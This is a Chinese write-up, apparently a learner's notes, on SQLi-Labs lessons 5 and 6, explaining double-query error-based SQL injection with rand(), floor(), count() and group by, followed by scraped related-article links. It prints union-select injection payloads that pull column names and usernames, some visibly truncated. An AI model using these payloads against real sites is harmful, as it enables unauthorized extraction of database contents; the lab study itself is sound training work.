第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1.发现前几关的方法都不能用了,要么报错(没有其他有关信息、要么什么也不出现、要么就是显示you are in....)

把后面的注释符去掉以后,判断是字符型的,因为数字型的直接报错了哈哈而不是回显

2.题目备注是 双注入GET单引号

平时做的那种属于子查询,就是select里面还包含有select

https://www.2cto.com/article/201303/192718.html

双注入查询需要理解四个函数/语句:

Rand() //随机函数

Floor() //取整函数

Count() //汇总函数

Group by clause //分组语句

*rand()

select rand() #出现一个随机数,小于1

*floor()

select floor(1.33333338)#取整数

*concat()

select concat(“123”,“xixi”)#输出结果为123xixi

在这里,我们构造一个复杂的查询语句,

select concat((select database()),floor(rand()*)) from users;#有多少user,显示多少个

把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。

这里是security表,里面装了用户名,相当于这句话就可以查出一共 有多少个用户。如果我们将表换成information_schema.schemata,就可以得出mysql的数据库名。

我们这里再复杂一下:

select concat((select database()),floor(rand()*)) as a from information_schema.schemata by group a;

这句话的意思就是:我们把concat () 这个语句看成 a 这个group,然后这些列都在information里面,然后把同名字的分成一组。

反正想要啥,就在select database()的database这里换就行了。。。

*group by “clause”

*count(*)

聚合函数,可以将我们想要的信息输出在a中

3.解题

第一步找到数据库名字:security

第二步:通过这个表名查user

但是这里报错:subquery returns more than 1 row #返回超过一行,解决方案:

组长博客里面写的有个limit()函数可以解决,我们来看看这是啥子神仙操作:

https://blog.csdn.net/u011277123/article/details/54844834

union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%
union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%,),floor(rand()*))as%20a%20from%20information_schema.tables%20group%20by%20a%
  • 得到闭合字符
  • 猜列数、尝试爆显示位
  • 得到数据库个数和数据库名
  • 得到表个数和表名
  • 得到列数量和列名
  • 得到列值

===========================

第六关  双注入GET双引号字符型注入

1.参数后面为双引号

加入limit函数:

http://192.168.1.115:801/sqli/Less-6/?id=1''
?id=' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1), floor(rand()*2))as a from information_schema.tables group by a#

后面就一样了。。。

sqli-5&6的更多相关文章

  1. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  2. SQLi filter evasion cheat sheet (MySQL)

    This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...

  3. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  4. 从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli

    先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该 ...

  5. SQLi Lab的视频教程和文字教程

    SQLi Lab 系列的文字和视频(需要FQ),讲解的很好 SQLi Lab Series - Introduction SQLi Lab Series - Error Based SQLi Lab ...

  6. ThinkPHP 3.1.3及之前的版本使用不当可造成SQLi

    Lib/Core/Model.class.php中解析SQL语句的函数parseSql没有对SQL语句进行过滤,使用不当可导致SQL注入.(哈哈,其实用再安全的框架使用不当都可能造成SQLi) 函数: ...

  7. PHPTaint-检测xss/sqli/shell注入的php扩展模块[转]

    web渗透者习惯采用黑盒或灰盒的方面来检测一款web应用是否存在漏洞,这种检测方法可以屏蔽不少漏洞,特别是程序逻辑中的漏洞.但如果能配合白盒的源码审计(也可以叫漏洞挖掘),效果将会更好,当然人力成本也 ...

  8. 春秋-SQLi题

    这道题挺好的 学到的知识 sprintf()构成的sql注入漏洞 题目环境今天做的时候坏了 留下这几篇博客学习 https://blog.csdn.net/nzjdsds/article/detail ...

  9. 搭建sqli靶场

    前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载 ...

  10. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

随机推荐

  1. BZOJ 4923: [Lydsy1706月赛]K小值查询 Splay + 思维

    Description 维护一个长度为n的正整数序列a_1,a_2,...,a_n,支持以下两种操作: 1 k,将序列a从小到大排序,输出a_k的值. 2 k,将所有严格大于k的数a_i减去k. In ...

  2. php 客户端调用elasticsearch接口

    1.php调用elasticsearch接口[参考资料:https://www.cnblogs.com/php0916/articles/6587340.html] /data/www/syhuo.n ...

  3. kohana附件上传

    try { $upload = Uploader::factory('Picture', $_FILES['Filedata'])->execute();}catch (Exception $e ...

  4. 一些性能优化的tips

    工作中积累的一些性能优化的tips,记录一下: 1. Message的创建 Message message = Message.obtain();  // 推荐 Message message = n ...

  5. nginx修改默认运行80端口的方法

    修改方法 很简单,修改nginx的配置文件, 对应的值,如图: 将其改为别的端口号,就可以了.

  6. mktime夏令时处理

    https://www.cnblogs.com/dongzhiquan/archive/2011/11/05/2237075.html 我们的最终目的是把字符串格式的时间转换为内部使用的“日历时间”, ...

  7. 数据库缓存之Memcache知识点

    Memcache知识点总结: 一.Memcache安装及使用 参考地址:https://www.jb51.net/article/66525.htm 1.将下载的Memcache安装文件放到某盘下,如 ...

  8. 清北学堂2019NOIP提高储备营DAY4

    今天只有一上午,讲的东西不多,这里就整理一下高精的东西,数论部分请见my blog 高精度: 先讲一讲进制问题:十进制的二进制表示:以10为例, 10的二进制表示为1010 10的三进制表示为101 ...

  9. CAS KVM 虚拟机的保护与恢复

    目录 目录 方式一 方式二 方式一 思路:以 QCOW2 格式来备份和恢复被保护的 KVM 虚拟机 Step1:centos7_0(base qcow2) 以 qcow2 格式写入到 iSCSI 设备 ...

  10. vCenter 部件关系简介 & 网络原理

    目录 目录 主机和集群 vCenter Datacenter Cluster Host Virtual Machine Folder Resource Pool Template 数据存储 Datas ...